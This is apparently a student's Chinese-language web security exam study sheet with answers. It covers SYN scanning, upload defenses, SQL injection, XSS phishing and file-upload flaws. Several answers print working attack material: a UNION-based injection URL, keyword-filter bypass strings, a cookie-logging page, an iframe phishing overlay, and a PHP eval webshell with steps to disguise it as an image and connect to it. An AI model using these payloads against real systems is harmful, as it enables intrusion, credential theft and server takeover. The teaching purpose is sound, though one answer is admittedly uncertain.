# 简答题

## 请简要叙述TCP SYN Ping主机扫描的特点

答：该方式发送SYN到目标端口，如果收到SYN/ACK回复，那么判断端口是**开放的**；如果收到RST包，说明该端口是**关闭的**。如果**没有收到**回复，那么判断该端口**被屏蔽**。因为该方式仅发送SYN包对目标主机的特定端口，但**不建立的完整的TCP连接**，所以相对比较隐蔽，而且效率比较高，适用范围广。

## 简述上传漏洞的防御方法

1. 检查文件上传路径 ( 避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历 )
2. 文件扩展名检测 ( 避免服务器以非图片的文件格式解析文件 )，验证文件扩展名通常有两种方式 : 黑名单和白名单
3. 文件MIME验证 ( 比如GIF图片MIME为image/gif，CSS文件的MIME为text/css等 )
4. 文件内容检测 ( 避免图片中插入webshell )
5. 图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 )
6. 文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到webshell的路径 )
7. 隐藏上传路径（一样用于复制得到webshell的路径)
8. 上传文件的存储位置与服务器分离

## 请简述交换式网络中嗅探攻击有哪几种?

答：**MAC洪水**（MAC Flooding）、**MAC复制**（MAC Duplicating）、**ARP欺骗**——使用最多

# 分析题

## 1. 请分析下面的代码，并回答问题

某网站保存留言页面saveleaveword.php的部分内容如下：

```
……
    if(mysqli_query($conn,"insert into
tb_leaveword(userid,createtime,title,content)values('$userid','$createtime','".$_POST
['title']."','".$_POST['content']."')"))
    {
        echo "<script>alert('留言发表成功!');history.back();</script>";
    }
    else
    {
        echo "<script>alert('留言发表失败!');history.back();</script>";
    }
……
```

list构造了一个cookie.php页面，代码如下：

```php
<?php
    $cookie=$_GET['cookie'];
    $log=fopen("cookie.txt","a+");
    fwrite($log,$cookie."next\n\r");
    fclose($log);
?>
```

请分析代码，回答以下问题。

### （1）这段代码可能存在什么类型的漏洞?

答：存在`SQL`**注入漏洞**，因为它直接将用户提交的`$_POST['title']`和`$_POST['content']`数据插入到`SQL`查询中，而没有进行任何**过滤或转义处理**。这意味着恶意用户可以在表单中输入恶意的`SQL`代码，从而在数据库上执行恶意操作。

### （2）`list`构造的`cookie.php`页面主要实现什么功能

答：这段代码的主要功能是接收名为`cookie`的GET参数（通过URL传递），将其值写入到名为`cookie.txt`的文件中。具体来说，代码打开一个文件句柄，将接收到的`$cookie`值追加写入到文件中，并在每次写入的cookie值后面加上`next`字符串，然后关闭文件句柄。

简单来说，这段代码用于将从URL中接收到的cookie数据记录到一个文本文件中的简单日志功能。

## 2. 请分析下面的代码，并回答问题

```php
<?php
    if(isset($_GET['Submit']))
    {
        // Get input
        $id = $_GET['id'];
        // Check database
        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid);
        // Get results
        $num = @mysqli_num_rows($result);
        if($num > 0)
        {
            // Feedback for end user
            $html .= '<pre>User ID exists in the database.</pre>';
        }
        else
        {
            // User wasn't found, so the page wasn't!
            header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found' );
            // Feedback for end user
            $html .= '<pre>User ID is MISSING from the database.</pre>';
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
?>
```

### （1）这段代码存在什么漏洞？请简单阐述产生该漏洞的原因

答：这段代码存在 SQL **注入漏洞**。原因在于在构造 SQL 查询语句时，直接将用户输入的 $id 值插入到 SQL 语句中，而没有对其进行**过滤或者参数化处理**。这意味着恶意用户可以在 id 参数中输入恶意的 SQL 代码，从而执行**未授权的数据库操作**。

### （2）访问该网页的链接是http://www.cuit.cn/login.php?id=1，若想通过这种漏洞获取当前网站的数据库名，请说出具体构造的攻击语句，并简单阐述攻击思路

答：要通过这种漏洞获取当前网站的数据库名，可以构造一个恶意的 id 参数值以执行SQL注入攻击。

构造攻击语句：http://www.cuit.cn/login.php?id=1' UNION SELECT 1,2,3,database(),version() --+

攻击思路：

- 构造的 id 参数值为 1' UNION SELECT 1,2,3,database(),version() --+ 用于查询数据库名称和版本号
- 1' 是用来关闭原始查询中的 user_id = '$id' 条件。
- UNION SELECT 1,2,3,database(),version() 是用来执行联合查询，以获取数据库名和版本号。
- 最后的 --+ 是用来注释掉原始查询语句的剩余部分，确保整个联合查询语句有效。

通过这种方式构造的攻击语句将使得查询数据库名的操作成功执行，并将数据库名和版本号作为结果返回给攻击者。

## 3. 请分析下面的代码，并回答问题

```php
function blacklist($id)
{
    $id=preg_replace('or/i',"",$id);
    $id=preg_replace('/and/i',"".$id);
    return $id;
}
```

### (1)Web 应用考虑了对用户输入的 id 进行过滤限制。该语句对什么进行了过滤?

答：这段代码对传入的 id 参数进行了过滤，使用了正则表达式将输入中的"and"和"or"字符替换为空字符串，以使得 id 参数不包含这些关键词。

### （2）在进行 SQL 注入时，采用什么语句进行该过滤的绕过?

答：有多种方式进行绕过：

1. 可以对 and 和 or 关键字进行双写，如：

```
?id=1' anand 1=1 --+
```

2. 该语句的过滤只是匹配 and 和 or 关键字，但是无法区分大小写，于是可以进行关键字大写来绕过

```
?id=1' anD 1=1 --+
```

3. 也可以使用运算符代替关键字

```
?id=1' || '1'='2 --+
```

## 4. 利用XSS实现网络钓鱼，正常的登录页面是login.php，攻击者构造了一个js文件，内容如下所示：

```
document.body.innerHTML=(
    '<div style="position:absolute;top:-2px;left:-2px;width:100%;height:100%;">' +
'<iframe src=http://localhost/xss/login/phishing.html width=100% height=100%
frameborder="no" marginwidth="0" marginheight="0" scrolling="no">' + '</iframe></div>'
);
```

请回答：

### （1）请分析这个js文件的作用是什么？

答：这段代码作用是将当前页面的整个内容替换为一个包含iframe元素的div，该iframe元素加载了一个位于localhost下的URL：http://localhost/xss/login/phishing.html，实际上是一个恶意的跨站脚本（XSS）攻击代码，它会将用户重定向到一个仿冒页面：phishing.html，从而欺骗用户输入敏感信息如用户名和密码等，以达到窃取用户凭证的目的。

### （2）如何在login.php页面中插入利用代码，请写出具体的语句

答：可能是在登录框通过构造恶意输入：<script>js文件</script>（**不太清楚这个**）

### （3）请简单阐述利用XSS实现网络钓鱼和常规的钓鱼网站的区别

答：

1. **XSS实现网络钓鱼**：
    - **方式**：利用XSS，攻击者将恶意脚本注入到受影响网站的页面中，以获取用户的敏感信息（如用户名、密码等）或诱使用户执行特定操作。
    - **特点**：网络钓鱼通过XSS实现通常隐蔽性更高，因为攻击者利用合法且信任的网站来进行攻击，用户不易察觉自己受到攻击。
2. **常规的钓鱼网站**：
    - **方式**：常规的钓鱼网站是攻击者伪装在网上的虚假网站，通过模仿真实网站的页面和信息，诱使用户输入敏感信息。
    - **特点**：常规的钓鱼网站通常需要攻击者手动创建和部署，相比XSS攻击，需要用户点击链接进入虚假网站，用户可能更容易察觉。

- **XSS网络钓鱼**常常发生在受影响网站本身，攻击者利用漏洞注入恶意脚本。
- **常规的钓鱼网站**是攻击者部署的虚假网站，通常通过伪造URL或发送钓鱼邮件等方式引诱用户进入。

XSS实现网络钓鱼更注重在受影响网站上注入恶意代码，而常规的钓鱼网站更侧重利用虚假网站模仿真实网站来骗取用户信息。

## 5. 请分析下面的代码，回答下面的问题：

```
$upload_type=$_FILES['upload']['type'];
$upload_size=$_FILES['upload']['size'];
if(($upload_type == "image/jpeg" || $upload_type == "image/png") && ($upload_size <
100000))
{
    if(!move_uploaded_file($_FILES['upload']['tmp_name'],$target_path))
```

```
    {
        $html .= '<pre>Your image was not upload.</pre>';
    }
    else
    {
        $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
else
{
    $html .= '<pre>Your image was not upload. We can only accept JPEG or PNG images.
</pre>';
}
```

### （1）这段代码存在什么漏洞？具体产生漏洞的原因是什么？

答：存在**文件上传漏洞**。这段代码存在文件上传漏洞的主要原因是**缺乏对上传文件内容的充分验证和过滤**。虽然代码中对文件类型和大小进行了基本的检查，但没有对文件内容进行深入分析，导致恶意文件可能被上传到服务器上。

### （2）请简单阐述如果成功实施攻击获得webshell

> ？？？步骤还是后果？

步骤应该就是制作图马，然后上传

- 创造一个木马文件，如：

```
<?php
    @eval($_POST['muma']);
?>
```

- 然后将其与一张`jpg`或`png`图片合并做成**图马**
- 将图马文件上传至服务器
- 将图马路径利用**蚁剑**、**菜刀**等工具进行连接服务器

后果就多了，获得`webshell`，攻击者可以对受影响的服务器进行广泛的操控，对服务器和网站的安全性造成严重威胁。

- 查看、修改、删除服务器上的文件和目录。
- 执行系统命令，获取服务器的敏感信息。
- 创建后门，以便随时再次访问服务器。
- 窃取用户数据，包括个人信息、登录凭据等。
- 安装其他恶意软件，扩大攻击范围。